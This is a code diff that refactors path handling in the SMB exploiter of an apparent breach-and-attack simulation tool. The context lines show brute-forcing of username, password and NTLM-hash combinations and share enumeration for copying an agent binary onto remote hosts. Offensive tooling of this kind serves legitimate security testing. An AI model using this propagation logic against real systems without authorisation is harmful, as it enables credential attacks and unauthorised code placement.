diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index 836573e4b..109771bd4 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -32,7 +32,7 @@ class SMBExploiter(HostExploiter):
 
     def _exploit_host(self):
         agent_binary = self.agent_repository.get_agent_binary(self.host.os["type"])
-        dest_path = str(get_agent_dest_path(self.host, self.options))
+        dest_path = get_agent_dest_path(self.host, self.options)
         creds = generate_brute_force_combinations(self.options["credentials"])
 
         for user, password, lm_hash, ntlm_hash in interruptible_iter(creds, self.interrupt):
diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py
index 8ce7773bb..7b5c79931 100644
--- a/monkey/infection_monkey/exploit/tools/smb_tools.py
+++ b/monkey/infection_monkey/exploit/tools/smb_tools.py
@@ -2,6 +2,8 @@ import logging
 import ntpath
 import pprint
 from io import BytesIO
+from pathlib import Path
+from typing import Optional
 
 from impacket.dcerpc.v5 import srvs, transport
 from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
@@ -20,13 +22,13 @@ class SmbTools(object):
     def copy_file(
         host,
         agent_file: BytesIO,
-        dst_path,
+        dst_path: Path,
         username,
         password,
         lm_hash="",
         ntlm_hash="",
         timeout=60,
-    ):
+    ) -> Optional[str]:
         # TODO assess the 60 second timeout
         creds_for_log = get_credential_string([username, password, lm_hash, ntlm_hash])
         logger.debug(f"Attempting to copy an agent binary to {host} using SMB with {creds_for_log}")
@@ -75,7 +77,7 @@ class SmbTools(object):
 
         high_priority_shares = ()
         low_priority_shares = ()
-        file_name = ntpath.split(dst_path)[-1]
+        file_name = dst_path.name
 
         for i in range(len(resp)):
             share_name = resp[i]["shi2_netname"].strip("\0 ")
@@ -100,14 +102,18 @@ class SmbTools(object):
 
             share_info = {"share_name": share_name, "share_path": share_path}
 
-            if dst_path.lower().startswith(share_path.lower()):
-                high_priority_shares += ((ntpath.sep + dst_path[len(share_path) :], share_info),)
+            if str(dst_path).lower().startswith(share_path.lower()):
+                high_priority_shares += (
+                    (ntpath.sep + str(dst_path)[len(share_path):], share_info),
+                )
 
             low_priority_shares += ((ntpath.sep + file_name, share_info),)
 
         shares = high_priority_shares + low_priority_shares
 
         file_uploaded = False
+        remote_full_path = None
+
         for remote_path, share in shares:
             share_name = share["share_name"]
             share_path = share["share_path"]